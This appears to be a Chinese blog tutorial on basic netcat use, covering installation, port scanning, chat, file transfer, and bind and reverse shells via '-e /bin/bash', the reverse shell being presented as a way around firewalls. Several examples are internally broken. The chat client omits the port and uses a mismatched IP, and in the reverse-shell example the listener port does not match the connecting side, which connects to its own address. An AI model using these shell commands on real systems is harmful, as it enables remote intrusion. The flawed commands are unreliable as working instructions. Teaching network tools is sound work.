netcat


netcat

netcat的简介

netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,可以在脚本中以多种方式使用它。

netcat的安装

linux安装:

sudo apt install netcat

windows安装:

点击这里netcat下载netcat的文件和配置。

windows配置:

进入下载netcat的目录,按住左shift+鼠标右键选择powershell输入:

.\netcat

当出现Cmd line:就配置成功,你可以配置环境变量点这里怎么设置环境变量

netcat的使用

端口扫描:

nc -z -v -n 127.0.0.1 21-25

可以运行在TCP或者UDP模式,默认是TCP,-u参数调整为udp.
-z 参数告诉netcat使用0 IO,连接成功后立即关闭连接,不进行数据交换
-v 参数指使用冗余选项,即详细输出
-n 参数告诉netcat 不使用DNS解析,即仅仅是一串IP数字, 一般如果后面是跟IP数字的话,就带上-n参数;跟着是域名的话,就不带-n参数。

聊天服务

服务端(ip=192.168.1.7):

nc -l -p 4444
4444是开放的端口
客户端:
nc 192.168.1.8
192.168.1.7是服务端的IP地址
客户端和服务端是同一网端下!检测是否在同一网段可以采用互相ping ip
可以点击这里查看详细记录百度教程

文件传输

例子环境:

  • A电脑ip:192.168.1.2
  • B电脑ip:192.168.1.3

A电脑为服务端,B电脑为客户端。以a文件为要发送的文件。服务端要发送a文件到客户端,客户端则接受服务端发来的a文件。
A电脑命令如下:

nc -l -p 4444 < a 

B电脑命令如下:

 nc 192.168.1.2 4444 > a

反正则调换一下

shell连接

1:正向连接

例子环境:
  • A电脑ip:192.168.1.2
  • B电脑ip:192.168.1.3
例子情况:用B电脑连接A电脑shell
  • A电脑为服务端
  • B电脑为客户端
    服务端命令如下:
nc -l -p 4444 -e /bin/bash

客户端命令如下:

nc 192.168.1.2

2.反面连接(用于绕过防火墙)

例子环境:
  • A电脑ip:192.168.1.2
  • B电脑ip:192.168.1.3
例子情况:
  • 1.A机器连接B机器的shell,如果按照正向shell的做法,应该是把A当成netcat的客户端,把B当成netcat的服务端,在B上用-l参数监听输入的链接。
  • 2.但是如果防火墙屏蔽了输入,只允许输出,那么这时候就是反向shell发挥作用的时候了。
  • 3.反向shell的做法是把A当成netcat的客户端,把B当成netcat的客户端,然后在A上用-l参数监听netcat的链接。

A电脑命令如下:

nc -l -p 20000

B电脑命令如下:

nc 192.168.1.3 4444 -e /bin/bash

结言:

本博文是netcat的基础用法。欢迎订阅rss和打赏,请作者喝一杯冰可乐吧!


文章作者: D.riven
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 D.riven !
  目录